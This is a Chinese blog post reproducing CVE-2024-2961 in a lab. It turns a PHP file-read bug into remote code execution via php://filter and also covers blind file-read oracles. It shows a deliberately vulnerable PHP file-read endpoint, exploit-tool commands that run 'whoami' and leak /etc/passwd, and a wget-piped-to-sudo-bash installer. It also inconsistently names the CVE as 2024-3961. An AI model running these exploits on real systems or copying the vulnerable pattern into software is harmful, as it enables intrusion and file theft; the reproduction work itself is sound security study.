PHP filters和CVE-2024-2961组合:从文件读取到RCE


1. 简介

glibc(GNU C Library)是 GNU 项目的一部分,主要为基于 Unix 的系统(如 Linux)提供 C 标准库和底层系统调用接口。

CVE-2024-3961@cfreal_ 在对 PHP filters协议(用于对文件流或字符串流进行操作。通过该伪协议,开发者可以在文件读取或写入时对数据进行转换或过滤。)进行模糊测试时发现的一个影响 GNU C 库(glibc) 的严重安全漏洞,其在将字符串转换为 ISO-2022-CN-EXT 字符集时,GNU C 库版本 2.39 及更早版本中的 iconv() 函数可能会使传递给它的输出缓冲区溢出最多 4 个字节,这可能导致应用程序崩溃或覆盖相邻变量。

在PHP中可能通过CVE-2024-3961漏洞将文件读取原语提升到远程代码执行,简单来说可以构造php://filter的数据使PHP在转换ISO-2022-CN-EXT字符集时触发CVE-2024-3961完成利用。本文对@cfreal_ 的博客中提到的部分场景进行复现:

在博客中第一部分是针对带文件读取回显的RCE利用,第三部分是在没有文件读取回显的情况下读取文件或RCE

2. 文件读取回显RCE

测试环境可以直接使用vulhub/php/CVE-2024-2961 at master · vulhub/vulhub。但如果自己搭建环境,使用ubuntu作为基础镜像nginxphp7.3.22环境,会出现对CVE-2024-2961利用失败情况,也微调了一些版本进行测试,但都测试失败(通过之前的一个环境测试成功了,想将该环境精简一下,遇到了这个问题,可能需要手动调整二进制漏洞利用的相关参数):

这里成功的环境是之前搭建的一个靶场环境,这个环境使用的phpstudy搭建:

wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

查看该环境的glibc版本,可使用ldd --version命令查看:

然后需要编写php的漏洞代码,需要一个读取文件内容进行输出的脚本。在poc中给出了代码提示:

可以编写如下PHP代码然后上传到搭建好的容器中:

<?php echo  "File contents: " .file_get_contents($_REQUEST['file']);?>

测试环境已经准备好,再来看POC代码,代码中使用了Python3.10后的语法,相关文件操作路径也是Linux环境,所以最好的环境就是在kali中操作:

$ git clone --recurse-submodules https://github.com/ambionics/cnext-exploits.git
$ pip install -r requirements.txt

环境配置好以后,执行脚本进行测试:

./cnext-exploit.py http://10.1.1.11/1.php "whoami > 1.txt"

执行时遇到了错误[-] Remote.download did not return the test string,错误提示说没有返回测试字符串,在下面添加的打印字符串中,发现返回的字符少了末尾两个字符:

对应的脚本内容如下,脚本会先测试目标对协议的支持情况和zlib扩展是否正常工作:

Python代码中加入burp代理进行测试:

import socket, socks
#socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 10808)  #socks5代理
socks.set_default_proxy(socks.HTTP, "127.0.0.1", 8080)           # http代理
socket.socket = socks.socksocket

测试代码会发送下列payload,表示将源数据编码为Base64,源数据来自data:协议,所以这里会先通过data:协议解码数据再使用php://filter对原始数据进行Base64编码,返回的Base64编码数据理论上应该是一致的:

php://filter/convert.base64-encode/resource=data:text/plain;base64,xxxxx

但是在burp中发现php返回的编码数据相对原始数据少了末尾几个字符,末尾的字符带=号,应该是base64的填充字符:

poc脚本进行检测,发现代码会对随机生成的50个字节进行base64编码,转换函数中对是否存在填充字符进行了判断,但是代码中没有执行到这个逻辑( base64 = b64(text, misalign=True).decode()):

将代码misalign设置Falsebase64 = b64(text, misalign=True).decode(),就抛出异常,提示说原始字符串编码后存在=,说明需要填充:

所以这里尝试能否控制随机字节的长度避免Base64填充,chatGPT回复:

为了保证两次 Base64 编码后的字符串没有填充字符,第一次编码后的字节数必须是 3 的倍数。第二次编码则会继承这个规则,只要第一次编码后的字节流长度是 3 的倍数,第二次编码的结果就不会有填充字符。

修改对应的代码,发现对data://php://fillter的测试成功了,但还存在报错:

这个错误是在使用php://filter/zlib.inflate时,按照之前的分析开启了填充字符串的验证,这里是使用zlib进行压缩测试用于后续下载二进制文件,简单把misalign设置为True即可:

修改对应代码后,成功执行了命令:

检测协议支持后,/proc/self/maps定位libc文件:

然后下载libc-2.31.so文件,构造CVE-2024-3961利用:

触发漏洞执行命令:

可以使用echo写入php文件:

3. 盲文件读取利用

当目标函数操作文件内容时,利用 PHP 的流包装器(wrapper)功能,通过构造特殊的 URI,利用 PHP 过滤器链(php://filter)中基于错误的 Oracle 漏洞来读取文件。即使服务器不会直接返回文件内容,只要某些功能处理了文件内容,并且完整的 URI 可控,就可以通过此工具来泄露本地文件内容。具体原理和使用方法可参考 Synacktiv 的博客文章。包括但不限于以下函数:

  • file()
  • hash_file()
  • file_get_contents()
  • copy()

对于这些函数的利用,可以使用如下两个工具:

lightyear的作者给出了一个docker环境,使用这个环境来测试文件泄露效果:

image-20241205142317167

使用 php_filter_chains_oracle_exploit进行测试:

./filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/etc/passwd' --parameter file

image-20241205142439973

lightyear工具需要在remote.py中指定目标地址和参数,然后可以执行./lightyear.py test测试目标:

image-20241205143534186

同样尝试泄露/etc/passwd:

./lightyear.py /etc/passwd -o 1.txt

lightyear具有缓存转储功能,如果转储出现了乱码,可以删除输出文件后重新运行:

image-20241205144050440

测试下来,lightyear工具对转储文件输出较为完整。对作者第三部分文章进行复现时,会导致服务器崩溃,没有成功触发RCE:

image-20241206165201150

以下是作者使用的php代码:

<?php

// echo  "File contents: " .file_get_contents($_REQUEST['file']);

// 如果未传入 'srand' 参数,则显示当前文件的源代码
if (!isset($_GET['srand'])) {
    highlight_file(__FILE__);
    exit();
}

// 生成随机大小的分配,并随机释放内存
if ($_GET['srand']) { // DEBUG: 此处仅作测试用
    srand($_GET['srand']);
    $strs = [];

    // 内存分配
    for ($i = 0; $i < rand(0, 1000); $i++) {
        $strs[] = str_shuffle(str_repeat(chr($i), rand(0, 0xC00 - 0x19))); // 分配字符串
    }

    // 内存释放
    for ($i = 0; $i < rand(0, 1000); $i++) {
        $idx = rand(0, count($strs));
        if (isset($strs[$idx])) {
            unset($strs[$idx]); // 释放随机分配的内存
        }
    }
}

// 文件校验(基于 MD5 哈希值)
if (md5_file($_REQUEST['file']) === '8f199aebac0036c0c1fa23134eecc3d54') {
    echo "Valid file";
} else {
    echo "Invalid file";
}
?>

4. 总结

在受到影响的平台上,PHP 的每个标准文件读取方法都会受到影响,例如:file_get_contents()file()readfile()fgets()getimagesize()SplFileObject->read() 等。文件写入方法也同样受到影响,包括 file_put_contents() 及其相关方法,这对拓展了一些环境的漏洞利用方式。

但经过搭建环境对该漏洞利用进行测试,对于存在文件读取回显的RCE利用并不总是成功,可能还需要调整二进制漏洞的利用代码。

对于盲文件读取则是利用了 PHP 内置的过滤器和内存限制机制,将其作为一个错误“预言机”。通过反复应用 convert.iconv.L1.UCS-4LE 过滤器,每次使用该过滤器都会将字符串的长度增加 4 倍。如果字符串非空,最终会导致内存限制被突破,从而产生 500 错误。通过这种爆破的方式可以逐字节解析出文件的内容。盲文件读取RCE利用原理中使用到了上述这种字节泄露方式,通过泄露内存地址来获得二进制漏洞利用前提,完成RCE。

5. 参考链接


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 本篇
PHP filters和CVE-2024-2961组合:从文件读取到RCE PHP filters和CVE-2024-2961组合:从文件读取到RCE
在PHP中可能通过CVE-2024-3961构造php://filter的数据使PHP在转换ISO-2022-CN-EXT字符集时触发漏洞将文件读取原语提升到远程代码执行。
2024-12-04
下一篇 
Fastjson反序列化漏洞复现 Fastjson反序列化漏洞复现
本文学习Fastjson反序列化漏洞的基础知识,整理相关Payload并搭建测试环境进行复现。在复现过程中主要侧重于内存马的注入和使用。
2024-08-18
  目录